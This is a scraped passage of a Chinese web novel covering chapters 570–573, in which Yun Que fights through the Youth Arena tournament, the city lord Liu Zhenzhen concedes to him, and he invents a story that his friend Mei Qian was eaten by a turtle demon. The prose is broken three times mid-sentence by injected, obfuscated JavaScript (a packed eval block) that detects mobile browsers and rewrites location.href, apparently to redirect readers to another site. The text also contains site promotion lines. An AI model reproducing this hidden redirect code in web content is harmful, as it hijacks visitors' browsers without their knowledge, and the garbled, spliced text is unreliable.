飞不进城的蝴蝶 白誉之前只顾着观战云缺另外的擂台打斗他根本没看此时大为吃惊。 他带来的大唐高手已经达到了五品巅峰程度修为极其扎实是军中骁勇善战的金身境武夫。 这才刚开打没一会儿就败了? 而且败得太过离谱直接被轰出了少年城! 惊讶之余白誉立刻命手下出城去查看他估计自己带来的高手应该伤得不轻。 白誉望向擂台上第一个胜出的小胖子不由得皱起眉头。 看不出任何特别之处。 但白誉记得很清楚那小胖子是少年城的人而且只是个六品武夫而已。 六品的身手却能在短短时间内战败五品说明人家不是隐藏了修为就是手里有特别的宝物。 朱幺此时得意洋洋骂骂咧咧往擂台上一坐等着四强之战。 少年城一方见自己人获胜纷纷欢呼起来一些人还在笑骂着朱幺走了狗屎运居然一路打到四强。 不多时 白誉的手下回来禀报刚才被打出城外的大唐高手已经气绝身亡! “什么!” 白誉脸色一沉亲自出城去查看。 尸体就在城墙下。 年纪只有二十岁的大唐高手七窍流血心窝处完全凹陷没有任何气息存在。 如此伤势无需仔细查看 “怎么会这样……” 白誉惊疑不定。 巅峰程度的五品金身境武夫居然心脉尽断而死! 而且在短短时间被就被活活打死可见对手的力量达到了一个恐怖的程度! 以白誉判断除非四品强者出手才能做到如此地步。 “莫非少年城有四品高手?” 白誉有些不可置信。 少年城的大名唐太子早有耳闻深知此地的少年高手修为不俗几乎满城都是修行者而且没有超过二十岁的。 少年城的确实力不俗连大秦都觉得头疼但有一点少年城的人全是年轻人而二十岁以下的年轻修士又怎么可能达到四品境界? 二十岁的四品高手天下间确实存在但无一不是凤毛麟角。 白誉 只知道武威王忆白龙在二十岁的时候冲进了四品境界除此之外大唐百年来从未出现过二十岁以下的四品强者。 想到这里白誉的心情变得沉重起来。 大唐登台的高手只打到八强便身死道消夺取少年王是没机会了。 但云缺有机会。 白誉担心着云缺一旦在比斗中遇到那小胖子会不会也被活活打死! 白誉深吸一口气缓缓吐出他觉得这次少年擂十分古怪。 又是少年城的军师发挥出不属于自身的力量又是万妖国强者登台挑衅还有个少年城的人隐藏着实力…… 对于少年王的出现唐太子隐隐有一种不祥的预感。 命人收尸白誉就要返回城内。 他忽然看到一只蝴蝶在城外不远处飞舞。 蝴蝶很普通树林或者草丛里极其常见只是飞行的状态有些不同寻常。 那只蝴蝶是朝着少年城飞来。 结果快要接近白誉的时候忽然半路折返在旁边飞了一会儿后又飞过来然后继续在白誉附近折返。 望着飞不进城的蝴蝶白誉叹了口气自语道: “连蝴蝶都知道少年擂的凶险看来此次少年王出世未必会顺利小蝴蝶飞远些城里不是好地方。” 蝴蝶来回绕了几次都没能接近城池随后摇摇晃晃的飞向远处的林间。 白誉就此返回。 走过城门的时候 他隐约觉得自己好像忽略了什么…… 城里的擂台区域忽然爆发出欢呼打断了白誉的沉思唐太子不再多想急忙返回擂台附近。 欢呼声的由来是城主在此战中胜出。 柳真真险而又险的战败了段无病成功夺到四强的名额。 城主获胜自然少不了欢呼少年城的众人激动不已嗷嗷乱叫。 “城主好猛!连战连胜!” “城主悍勇!是我们少年城的骄傲!” “城主比男人都猛!打遍天下无敌手!肯定能成为少年王!” “城主万胜!城主万胜!” “城主气势如虹!城主力大无穷!” “对!城主不仅力气大辟股更大!卧 槽说漏嘴了!城主会不会杀了我!” 柳真真在擂台上傲然而立,长发随风摆动,一副巾帼英雄的气势,不但少年城的人佩服,连大秦大唐的各方人马一样心服口服。 人家可是女子! 能在少年擂轻易杀进前四,足以证明实力过人。 段无病落败后直接返回大秦一方。 回来后,段无病一眼看到丞相,他脸色有些发苦,急忙上前拜见。 左兰山点了点头,道: “打得不错,年纪轻轻就知道怜香惜玉了。” 段无病顿时咧了咧嘴,听得出人家丞相说的是反话,急忙解释道: “属下已经尽力而战,那城主的修为十分扎实,想要胜她很难,即便亡命而战,属下也只有五成把握能赢。” 段无病之前一直在擂台,没发现丞相到了,早知道的话,他肯定不会下来得这么快,怎么也得打得更凶一些。 其实段无病并未动用全力。 他是儒武双修,在擂台上只用了武道,尚未动用儒家法门,若倾尽全力,柳真真其实未必能赢。 左兰山冷哼了一声,道: “既然有五成把握,为何不去搏上一搏,少年擂前四的名头,总比前八的名头响亮得多。” 段无病不敢抬头,躬身道: “大人明鉴,属下登台只想借机磨练一番身手,并无争王之心,况且即使属下赢了一场,少年王的名头也落不到属下的头上。” 大皇子赢财就坐在丞相旁边,此刻出言道: “玄龙军看来没什么斗志啊,懒懒散散的,不过段无病你这话说得没毛病,别说你上去,即便咱俩一起上也没戏,少年擂就是一场戏罢了,演给外人看的,少年王早就定好了,肯定是二弟的。” 大皇子这话刚说完,擂台上出现了变化。 少年城的大将军史得侩,整个人被打飞了起来,轰隆一声砸在远处一间石屋里。 二皇子赢皓就此胜出。 史得侩很快从石屋里爬出来,嘴角挂血,不服不忿的吼道: “好大的力气!老子不服!咱们再来打过!哇呀呀呀呀!!!!” 大将军发怒,还想往擂台上冲,被一群少年城的高手死死抱住。 都被打下来了,还 上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13281041|110198||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去做啥? 上去丢脸吗? 左兰山瞥了眼在擂台上继续喝酒的二皇子,摆了摆手,示意段无病归队。 段无病长出一口气,在后边找个地方坐好。 少年擂之战,其实段无病毫无兴趣,上来就是试试身手而已,切磋一二,他可没打算拼命。 因为他知道隐情,这场少年擂的最后王者,只能是大秦之人。 左兰山将目光落在最后一处还在打斗的擂台。 云缺与商暮的恶战,是四处擂台中最凶的一处,也是持续时间最久的一处。 两人的身形快到几乎看不清,令人眼花缭乱。 尤其商暮的状态,极其骇人,好似一头妖兽,每次进攻都如同饿狼扑食,看得周围众人心惊肉跳。 武夫之间的打斗,足够令人震撼,拳拳到肉,近身肉搏。 而此时擂台上的两位武夫,堪比两头妖兽在厮杀! 左兰山微眯双眼,吩咐道: “妖武者,倒是罕见,等分出胜负,将那丫头抓起来。” 马至远犹豫了一下,问道: “大人,以什么罪名抓人呢?这里是少年城,本就不尊我大秦律法,平白抓人的话,难免引起众怒。” 左兰山冷哼道: “没有罪名就不能抓人了么,少年城一样是我大秦之地,她有可能是大商遗民,别忘了妖武大商,是谁灭的。” 马至远惊疑起来,急忙点头领命。 妖武大商,百年前云州之上的强大国度,最后灭于大秦之手。 如果出现大商遗民,那么对大秦来说就是敌国之人,不能放任不管,必须调查清楚才行。 “还有那只地冥兽。” 左兰山扫了眼被锁在擂台下的冥欢,吩咐道:“少年擂结束之后,一并带回天龙城。” 马至远再次领命,吩咐手下准备拿人。 左兰山望着擂台上的打斗,眉头微微皱起。 这次少年擂,除了大商遗民,居然连万妖国的皇族后裔都现身,实在有些古怪。 别人不知道冥欢的来头,身为大秦丞相的左兰山岂能不知。 比起少年城,万妖国才是真正令大秦头疼的存在。 这些年来,大秦与万妖国始终井水不犯河水,没想到万妖国的皇族居然敢堂而皇之的来到大秦地界,还敢参与少年擂。 这才是左兰山所疑惑的地方。 擂台上, 云缺越战越猛,武道施展到了极致,双手齐出奔雷掌,雷光大作。 知道的,这是武夫在动手,如果后来的不明真相,看到擂台的耀眼雷光还以为在斗法。 商暮则满身是汗,体力渐渐不支。 女子武夫,毕竟比男人差了一些天然优势,体质方面有所不及。 尽管有妖力加持,仍旧难以长时间作战。 打斗到最后,云缺将奔雷掌融合了断刀式,竟以手刀劈出携带雷霆的刀气! 这下商暮扛不住了。 连连倒退,选择了以狼牙匕首防御。 她一旦防御,立刻落入云缺的圈套当中。 云缺一掌拍在地面。 刹那间,大片的雷电以云缺为中心,朝着四面八方蔓延而出! 你身边有不少朋友还没看到本章呢,快去剧透一下,他们会很崇拜你的 第571章 有病赶紧去治 奔雷掌的威能极其强大,若施展到极致足以轰杀同阶修士。 但是商暮有妖力护体,很难将其重创。 其实商暮的状态,类似于之前的常慎行,区别是商暮完全融合了星狼之力,而常慎行始终借助着血液里的外力。 接连三局,云缺的对手都不是纯粹的人族,艰难程度可见一斑。 好在云缺也不是正常人, 不仅肉身之力强横,武道更是在接连的战斗中不断熟练,不断提升。 随着对奔雷掌的掌握愈发纯熟,云缺开始尝试着其他用法。 比如现在的这一掌,砸在擂台中心却能释放出大片的雷电之力,完全将战斗空间封闭。 商暮最大的依仗,其实还是速度。 她的本体远远没有云缺强大,力量又有所不及,只能在速度上占据上风,怎奈云缺的影步更加玄妙,商暮始终被人家压制。 这次的奔雷掌,商暮避无可避,她实在没了办法,选择硬抗。 更多的妖力散发而出,商暮脸上出现了星纹图腾,眼瞳变得愈发幽蓝,甚至开始发出低沉的狼吼。 台下的商福见此情景,急忙大声规劝: “行了妹子!打不过就认输吧!别拼命啊!” 商暮充耳不闻,踩着雷光继续进攻。 雷电之力的存在,有着麻痹的奇效,极大延缓了商暮的速度。 尽管商暮调动了更多的妖力,神智开始变得模糊,仍旧难以在雷电之上行动如常。 一旦迟缓,那就变成了真正的活靶子。 云缺没怎么费力,直接以影步加上奔雷掌将商暮打出擂台。 商福拼尽全力接住了自家妹子,他急忙拿出一粒丹药喂给商暮。 吃下丹药,商暮慢慢清醒过来,脸上的印记与狼须尽数消失。 丹药的用处不是疗伤,而是压制妖力。 恢复过来之后,商暮恨恨的盯着擂台上的云缺,咬牙切齿,像一头龇牙的小狼。 云缺蹲在擂台边缘,逗猫似的道: “不服气以后可以再打,不过你得拿出足够的赌注才行,比如你哥刚给你吃的丹药,或者楼船里的水晶小塔,都可以,你那两把匕首也行,我不贪心,一次赌一把。” 商暮气得 无以复加,越气越觉得身上疼痛,刚才的打斗,云缺把她揍得不轻。 商福怒气冲冲的道: “做梦!狼匕是我妹子的命,赌输了她就死了!不可能当做赌注!” “不一定哦,也许能用其他武器代替呢,不试试怎么知道。”云缺笑呵呵的道:“不如让你妹子分你一把匕首,试试会有什么后果。” 云缺看得出商福也是妖武者,不知什么原因失去了妖力,兄妹俩要抓萍山君,就是帮商福重新打造成妖武者。 云缺从楼船上到现在,始终跟兄妹俩套近乎的真正原因,也是为了这件事。 云缺想要知道,商福为何失去妖魂而不死! 正因为这一点,云缺才对商暮手下留情,否则刚才就不是直接将商暮打出擂台,而是继续比斗。 只要能拖下去,商暮的神魂就会被妖力一点点吞噬,最后完全妖化,再无转回人身的机会。 商暮强压怒火,冷声道: “你想战,那便接着战!等少年擂结束之后,我们还以萍山君为赌注,你敢不敢再打一场!” 云缺摊手道: “你觉得我像傻子么,萍山君本来就是我的,想要再打一场,你也得拿出赌注才行,我出萍山君,你出什么,你自己考虑清楚,如果价值不对等,抱歉,恕不奉陪。” 说罢云缺回到擂台中心,等待下一次抽签。 商福搀扶着商暮,小声道: “还打呀妹子?咱们斗不过他,再打还得吃亏。” 商暮甩开对方,低声道: “萍山君太过珍贵,错过这次机会很难找到更加合适的妖族,他是个贪心之辈,我们拿出赌注就是了,大不了用灵丹,或者小塔,输了的话失去些外物而已,一旦赢了,萍山君就能到手!” 商福愁眉苦脸的道: “妹子,丹药没剩几粒了呀,法宝我们就那一件,这要全都输出去,我们兄妹就真成了穷光蛋!” “相信我,下次不会输!” 商暮冷冷一笑,低声道:“我会趁着这段时间全力恢复,而那家伙还需要再打一场甚至两场,他的气力会被大量消耗,此消彼长,正是良机!” 商福一听顿时惊喜道: “有道理!还是妹子聪明!快快!妹 子快些恢复。 兄妹俩的小心机,外人不得而知。 即便知道了,云缺也不在乎。 只要冲进完美金身,别说一个商暮,一头四阶星狼,就算之前的蛇尾猿以妖身作战,云缺也能将其生撕活剥! 然而可惜的是,与商暮这一战,云缺仍旧没能冲进完美。 境界大门被推开了一大半,始终无法完全敞开。 境界之门,与屋子里的大门截然不同。 屋门院门只要打开一点,人就能挤进去。 可境界之门唯有全部开启,才能真正迈进下一个阶段。 哪怕还差一丁点,都与进阶无缘。 还有两场…… 云缺暗暗盘算着少年擂的比斗。 四强之战选出的两人,便是少年王最终的决战之人。 云缺现在最期待的,便是在四强对战的时候冲进完美金身,否则最后决战之时,一定会遭遇极强的对手。 看了眼获胜的几人,云缺诧异了一下。 柳真真胜出不算意外。 但另外两个家伙怎么回事儿? 一个酒蒙子二皇子赢皓,一个只想着干死秦皇的小胖子朱幺。 这两家伙怎么赢的? 两个脑残居然打到了四强? 云缺觉得莫名其妙。 接下来四人开始抽签。 抽签之前,云缺双掌合十,默念了好几遍阿弥陀佛,心里祈求着白无缺保佑,让自己抽到二皇子或者朱幺。 打那两个家伙基本没悬念,云缺最不想的就是对战柳真真。 结果抽完之后,云缺的对手正是城主柳真真。 二皇子赢皓与朱幺对决。 云缺叹了口气,果然转生的佛陀不行事儿啊,求也是白求。 四座擂台,两两合拢,形成了两座巨大的擂台,相隔数十丈,犹如两座高山一般。 能登上最后两座擂台的人,足以在天下少年之间傲视群雄。 云缺与柳真真这边气势最足。 一方是巾帼英雄,英姿飒爽的女子城主。 一方是翩翩少年,玉树临风的大秦驸马。 此时的云缺已经长出了头发,的确当得上翩翩少年这几个字,少了几分武勇,多了几分 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13292252|110198||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 儒雅。 但这份儒雅云缺根本就不想要。 又失算了。 算错了少年擂的比斗时间。 来的时候,云缺以为打一天就差不多了,谁成想连战了三天。 三天,头发早长出来了! 这下戴不戴观魂镜,大秦那边都能认出自己是驸马。 反正早就穿帮,云缺也不在乎了,只要能夺到少年王,爱咋咋地吧。 左侧擂台, 赢皓拎着酒葫芦先喝了一口,发现没酒了,变得有些不痛快,指了指对面的小胖子道: “那个谁啊,你最好自己下去,省得被打,我这没酒了,我得弄点酒去。 朱幺掐着腰,哈哈笑道: “让我下去?你真是风大不怕闪了舌头!听说你是皇子,正好拿你开刀,宰了你,再去干死秦皇! 赢皓不耐烦的道: “你是不是脑子有问题,有病赶紧去治,别耽搁了,秦皇是你能挑战的么,既然你不下去,那对不住了,你等着挨打吧,事先告诉你,我其实是破军修为,现在下去,还有机会。 朱幺摇头晃脑的不屑道: “四品破军?哎呦我好害怕呦,嘿嘿!老子专打破军! 两人的对话,另一侧擂台上的云缺听得很清楚。 云缺的眉峰就是一动。 破军! 二皇子看似说得随意,也从未表现出太强的战力,但四品修为,并非没有可能。 云缺略一复盘,立刻得出一个答案。 赢皓,很有可能就是破军武夫! 因为现在擂台上的四个人,只有二皇子是大秦之人。 云缺虽然是大秦的驸马,但他是外人,秦皇不可能信任。 少年擂的初衷,看似在争夺天下少年王,实际上云缺很清楚其中的真相。 是秦皇给少年城做的一个局! 秦皇为了名正言顺的收复少年城,才有了如今的少年擂。 而作为四强当中的最后一名大秦之人,二皇子必定要夺魁的,而且需要十足的把握才行。 哪怕换个巅峰程度的五品金身,都未必能在少年擂上打到最后,唯有四品破军,才能一路畅通,轻而易举的战败所有对手,直接成为少年王。 再次望向赢皓云缺的目光带着些许诧异。 谁能想到秦皇三个儿子当中最没有存在感的酒蒙子居然是最强的一位! 想起了赢皓的年纪云缺恍然大悟。 赢皓与大皇子赢财同岁都是二十一岁当初太尉定下的二十一岁这个年限看似在给大皇子机会实际上是让赢皓有机会登台。 想到这里云缺脑子里忽然冒出一个念头。 皇后挺能生的一年生俩…… 晃了晃头甩开无聊的思绪云缺开始发愁。 战破军 斩大妖是将心智发挥到极致而且蛇尾猿也十分配合换成真正的破军强者就没戏了。 因为人家始终是四品境界没有化形后会变得虚弱一说更没有化形的弱点存在。 现在云缺唯一的机会就是在对战柳真真的时候直接冲进完美金身! 云缺正要叮嘱一番柳真真千万别留手结果柳真真先开口了。 这位英姿飒爽的女城主当着天下少年的面做出了一个所有人都没有料到的惊人举动。 “这一局我认输!” 柳真真说完云缺差点没被气死。 第572章 被王八精吃掉的梅钱 柳真真说出认输的说辞令周围的人们一片诧异。 堂堂少年城的城主都已经杀进了四强之战居然说出认输这种话实在令人费解。 云缺恨不得冲过去堵住柳真真的嘴。 拿你当垫脚石呢你倒好自己先认输? 我还没到五品呢拿什么去战四品破军! 摆明了二皇子赢皓才是秦皇的后手以云缺估计就算去套近乎都没戏。 一边是秦皇一边是驸马除非赢皓的脑袋被驴踢过否则肯定要在少年擂夺魁。 驸马这东西说白了就是姑爷又不是实在亲戚外人一个! 见柳真真心意已决云缺急忙规劝: “万万不可!城主身为少年城之主岂能随意弃权你若不打怎么给少年城的兄弟们交代呀!” 柳真真不理云缺反而站在擂台边缘面朝着无数少年城的少年修士朗声道: “前几日妖族奇袭少年城死于妖族之口的兄弟足有上千人之多这笔仇我们少年城不会忘也不敢忘!大家说 柳真真说完少年城的人们义愤填膺纷纷高呼。 “城主说得对!此仇不报誓不为人!” “踏平万妖国!为死去的兄弟们报仇雪恨!” “少年城与妖族不共戴天!” “如此深仇大恨我们没人敢忘!此生必与妖族为敌!” 柳真真满意的点点头抬手止住众人的声音又道: “妖族攻城当晚我们少年城所有人都在浴血而战但有一位神秘人战得最为凶猛他杀的妖物不计其数救下的人更是数不胜数妖族首领蛇尾猿正是被他所重创从而选择退走这份恩我们少年城更加不会忘更加不敢忘!大家说对不对!” 少年城的众人纷纷醒悟过来终于明白了城主为何要认输再次高呼阵阵。 “恩怨分明方为少年俊杰我们少年城有仇必报!有恩也必报!” “当晚就是梅兄弟救了我一条命!他若不出手我早被妖物吞了!” “还有我!还有我!梅钱兄弟救了我们好几个人!” “原来智障大师就是梅钱兄弟!我们一组人手也是被他救的!我还打算烧香拜佛呢!” “没有梅兄弟,我们少年城的伤亡怕不得翻倍,至少再死掉上千人!” “城主也被梅兄弟所救,这场比斗城主若出手,岂不是恩将仇报!城主认输乃是报恩之举!” “我们赞同城主认输!梅兄弟这场不用打了!” 对于云缺,少年城的人是佩服的,并且感恩,毕竟当晚杀妖最多的就是云缺。 人家本可以不蹚浑水,直接溜之大吉岂不是更加安全。 可人家非但在城中斩杀了无数妖物,最后还将四阶大妖重创,如此壮举,在少年城众人眼里绝对称得上少年英雄! 一些心智深沉之人能看得更远。 知道云缺如果不出手的后果,有可能少年城就此化作废墟,因为大妖的出现,是少年城的最大危机。 无法重创大妖,少年城的伤亡别说翻倍,增加十倍都毫无意外! 几乎所有少年城的人,都在对云缺感激,可这份感激云缺却不想要。 面对山呼海啸般的赞美之言,云缺有苦难说。 我不要你们感激,我想要的是你们城主啊! 要来当垫脚石啊! 云缺无奈之下,试着问道: “城主就这么认输,怕是有人不服气,不如咱们切磋一二,点到为止可好?” “谁不服,就让谁上来好了!我们少年城的人最为痛快,该战的时候一定血战到底,该认输的时候绝无怨言!” 柳真真朝着台下昂首道:“大家都听好了!我柳真真此局认输,少年城的兄弟们若是谁不认可,可以代替我登台比斗!” 说罢柳真真直接跳下擂台,将云缺自己留在了台上。 落地后,柳真真朝着擂台上的云缺挤了挤眼睛,做了个得意的鬼脸儿。 少年擂决赛的资格,就此拱手相让。 柳真真的做法看似鲁莽,却是武夫的爽快之举。 史得侩大喝道: “城主就是城主!认输都认得这么痛快,我服气!梅兄弟有资格打进最后一局!少年城的人谁要是登台挑战,谁就是忘恩负义的小人!” 史得侩伤势不轻,一边吼着,一边还往外咳血,不过他满不在乎,对云缺心服口服。 不仅史得侩,少年城无人不服! 云缺不仅在妖族攻城当晚救下多人,以一己之力扭转了战局,更在之前的擂台上替少年城战死的少年们报仇,斩杀了攻城主谋的蛇尾猿。 如此壮举,加上如此战绩,谁能不服。 即便有些心思狭隘之辈,在心里不服,也不敢表现出来,更不敢登台一战。 人家连大妖都能斩,上去找死么。 云缺叹了口气,满耳朵的梅钱梅兄弟,听得他不胜其烦。 梅钱那孙子在学宫逍遥自在,自己在大秦打生打死的,结果传出去的都是人家的名号。 这可不行! 云缺朝着柳真真与史得侩众人拱了拱手,道: “多谢城主认可我这个外人,也多谢大将军拿我当兄弟,其实我骗了你们,我不叫梅钱,我真正的名字叫云缺。” “云缺?”柳真真疑惑起来,问道:“那你为何用了假名?” 史得侩脱口道:“没钱缺钱都一样吗,反正都是穷鬼,呃……云缺兄弟肯定有难言之隐!” “大将军说得没错,我确实有苦衷。” 云缺面带悲容,道: “梅钱,是我儿时最好的伙伴,我们一起长大,有苦同吃,有福共享,更是结为了异姓兄弟,有一天,我们在深山里发现了一件破烂的盔甲,本打算拿回去卖点钱换些食物,结果那盔甲的护心镜里钻出一头王八精,将梅钱吃掉了。” “从那天开始,我失去了最好的兄弟,他生前最大的愿望,便是走遍天下,将自己的名字留在云州每一个城池,为了他的遗愿,我在之后的岁月里每到一座城,都会用梅钱作为名字。” “他已经魂归地府,而我能做的,只有帮他完成最后的遗愿,将他的名字,留在我走过的每一个地方。” 云缺讲述完之后,柳真真听得眼圈发红,用力点头,认可着云缺与梅钱的兄弟之情。 史得侩更是眼泪都出来了,也不知是感动的还是伤势太疼了。 少年城的众人有人叹息,为了梅钱的遭遇而感慨,有人挑起大拇指,为了云缺的仗义而称 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13292253|110198||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赞。 也有人憧憬着自己也能有如此的生死兄弟,哪怕死后,也有人记得自己,替自己完成此生的遗憾。 听完云缺的故事,人们也理解了云缺为何要以梅钱作为化名,对 梅钱的遭遇十分同情。 殊不知云缺口中早已被王八精吃掉的梅钱,此时正在学宫饭堂狂吃海塞,恨不得一口吃完眼前的一桌子饭菜。 因为梅钱遭遇了危机,而且还是生死危机! 在梅钱前桌,齐御正拿着一封信破口大骂。 不止齐御在骂,一群演武殿有点实力的武夫都在骂。 信是云缺寄回来的。 信上列举的名号足有数百个,全是演武殿的学子,并且加上了同样的名头。 饭桶! “等那孙子回来的,让他知道知道我们演武殿的厉害! 齐御气得脸都黑了,怒气冲冲的道:“他云缺不就是在外面杀了点妖,打了点仗么,有什么了不起!我们演武殿没有孬种!我们也去杀妖! 一名演武殿学子在旁边道: “齐师兄,天祈城附近没什么妖啊,妖山都空了,我们去哪找妖打斗呢。 “没有妖,那就找人斗!齐御一拍桌子,怒道:“听说邵武国那边打过了天门山,还带着不少妖兽助战,我们去战场大战一番! “好!我们跟齐师兄一起上战场! 小说全网首发无弹窗免费阅读qiexs?(请来企鹅 小说 看最新章节 完整章节) “云缺信里说了,不斗不叫武夫,他说得没错,想要成为强大的武夫必须要不停战斗! “上战场!修武道!提升境界揍云缺! 一屋子演武殿学子嗷嗷直叫。 刚才发问的学子皱眉道:“上战场的确是提升武道的好机会,可是我记得齐师兄好像就是邵武国的人吧,齐师兄去打自己国家的军兵,是不是有些不妥? “有个屁的不妥!提起这个我就来气! 齐御一脚把桌子踹翻,怒道:“就是邵武国的狗官把我们姐弟卖进了青楼!他娘的!老子打的就是邵武国! 没有了后顾之忧,其他演武殿学子愈发兴奋起来,撸胳膊挽袖子,恨不得现在就冲上战场,杀个痛快。 梅钱今天的位置不太好,就在齐御后边坐着,他越听越心惊肉跳。 战场是什么地方,他太清楚了,他可不想陪着这群莽夫去战场冲杀。 自从云缺那封信抵达演武殿,梅钱就知道云缺又开始坑人了,这种招数他熟得很,叫做驱狼吞虎。 挑起演武殿学子的斗志,让这群武夫冲上战场,然后帮着大晋一方抗击外敌。 驱狼吞虎其实算好听的,在梅钱看来,这招就该叫赶鸭子上架! 一群傻鸭子…… 梅钱在心里嘀咕,加快了吃饭的速度。 他打算赶紧吃完好开溜,找个地方一躲,不当冤大头。 结果他今天倒霉,吃得太快,米粒钻进了鼻子里,梅钱被呛到了一下。 阿嚏!! 梅钱这一口喷嚏,连饭带菜全喷在齐御后脑勺上。 注册本站会员可以解锁更多福利,快试试吧 第573章 登台的狗 热火朝天的饭堂里,随着一个喷嚏而安静下来。 齐御正如大将军般点兵派将呢,结果脑袋上连汤带水,往下直掉饭粒子。 齐御怒气冲冲的一回头,抓起梅钱的脖领子,也不说话,嘴里直哼哼。 哼哼的调儿,就像野猪抢地盘时即将冲锋的声音。 “齐师兄对不住啊!方才听师兄所言实在热血沸腾,一下没忍住!”梅钱急忙解释。 齐御消了些火气,打量着梅钱道: “我记得你在大晋有官职吧,好像是什么侯爷,正好,这次出征我当大元帅,你当先锋官!你敢不冲锋,看到饭堂里这些饭菜了吗,都塞你肚子里,让你当饭桶!” “好!没问题,我当先锋官!”梅钱苦着脸答应,心里这个骂啊。 怎么好端端的,饭粒吃鼻子里了? 这霉运赶的,简直倒霉它妈给倒霉开门,倒霉到家了! 梅钱被抓了苦力,当天就被一群演武殿的武夫架着冲出了天祈城,直奔战场。 出发的时候,梅钱还在心里与护心镜沟通,打算让镜子里的神秘老者帮忙脱身,结果对方也倒霉,修炼出了岔子,一时间难以发挥出能力。 “好端端的,这么倒霉呢?”梅钱在心里嘀咕:“会不会是有人在咒我?” “有可能。”护心镜里传来苍老的声音:“而且连着老夫也跟着被咒了,最近确实运气不佳。” “我没得罪谁呀!整天安安稳稳的修炼领俸禄!”梅钱道。 “不得罪人,未必就不会被人咒,别忘了你那好兄弟远走异国,他在外面干坏事肯定不用自己的名字,你猜猜他常用的化名是什么。”老者道。 “他肯定用梅钱……我没有这种好兄弟!等我回去就扎小人,一天十个,扎死云缺那孙子!”梅钱道。 “给你个忠告,以后出门去陌生之地,尽量别提自己的名号,先打听打听自称梅钱的人来没来过此地,做没做过什么坏事。”老者道。 “我知道了,以后出门我会小心,唉,真是报应啊。”梅钱道。 “即便云缺用你的名字,也该他被报应,你哪里来的报应?”老者疑惑道。 “这阵子我领俸禄的时候,把云缺在司天监那份顺便也给领了……”梅钱道。 “你们俩一路货色简直无药可救……”老者叹息道。 远在大晋的梅钱猜到了云缺有可能用他名字但梅钱猜不到的是云缺不仅用了他的名还把他给说死了。 现在不仅少年城的人大秦大唐与周围国度的少年高手都知道了一件事。 梅钱被王八精吃了早死多年。 以后梅钱到了大秦大唐不报名还好一报名容易被当做诈尸。 编排梅钱而已云缺一点内疚都没有说得情深意切好像真死了兄弟一般那悲伤的语气那沧桑的表情 不过云缺是谁左兰山真就不知道他以为驸马又在使坏用假名诓骗少年城的人。 在左兰山眼里驸马就是白誉。 云缺以一段小故事轻而易举改名换姓。 梅钱已死云缺当立! 有时候说谎也是一种能力说得好了连自己都信何况旁人。 对于云缺的名号少年城的众人有一个算一个没人怀疑并且都对云缺报以同情之感。 这时另一侧擂台的打斗传来阵阵轰鸣。 人们的注意力立刻被吸引了过去云缺也随之望去。 二皇子与朱幺的比斗已经开始。 两人都是武夫一出手便是凶悍搏杀。 赢皓没酒了脾气也变得暴躁起来拳劲带风每打出一拳都犹如炸雷轰轰作响。 小胖子朱幺的确脑子不太灵光根本不躲同样挥拳来了个硬碰硬。 擂台上的两人变得十分奇怪。 各自站定于擂台中心两人离着不过半丈远出拳的动作一模一样就像对着镜子开打。 如此比斗立刻惹来场外的不少嘲笑。 很多人认为这两个家伙是浑水摸鱼赢上来的其实没多少真本事。 少年城的人都认得朱幺知道这家伙脑子缺根弦整天就想干死秦皇本事没多大口气可不小。 而大秦一方也没多少人知道二皇子赢皓的底细认为二皇子就是个醉生梦死的酒鬼皇子烂泥扶不上墙。 随着两人轰出的力道越来越强四周的嘲笑声渐渐小了下去最后再无声息。 因为那轰鸣声变 得宛如惊雷! 一圈圈的气浪,在赢皓与小胖子所在的擂台上外溢开来。 先前还是气浪,逐渐变成了狂风肆虐! 赢皓出拳越来越快,越来越猛,他脚下的擂台甚至出现了龟裂! 这位二皇子的力量,从五品金身程度竟然渐渐提升到接近四品,然后直接达到了四品。 破军之力,被赢皓施展而出! 朱幺被砸得缓慢后退,最开始还能对拳,当赢皓用出破军之力,小胖子只能被动防御,将双拳架在身前硬抗。 云缺目光微凝。 赢皓这家伙,果然是四品破军! 之前的猜测,在此刻彻底得到验证。 拥有四品修为的二皇子,便是秦皇设下少年擂的最大依仗。 少年王,非赢皓莫属! 云缺微微皱眉,在心里盘算着自己有几分胜算。 二皇子别看平常表现得像个酒鬼,其心智必定极高,要知道伪装这种事很容易,只要上点心,谁都可以。 但是常年的伪装,绝非正常人能做到的。 赢皓始终在隐瞒着修为,大秦之内都没几人知道,否则云缺的驸马身份早就能有所耳闻。 这种人,忍耐力绝对惊人! 云缺不由得想起了司天监的二师兄闫罗。 闫罗看似貌不惊人,平日里也没什么存在感,但是那位二师兄才是司天监的主心骨儿,是师兄师妹们极其信任的当家人。 看着二皇子与朱幺的比斗,云缺心里纠结起来。 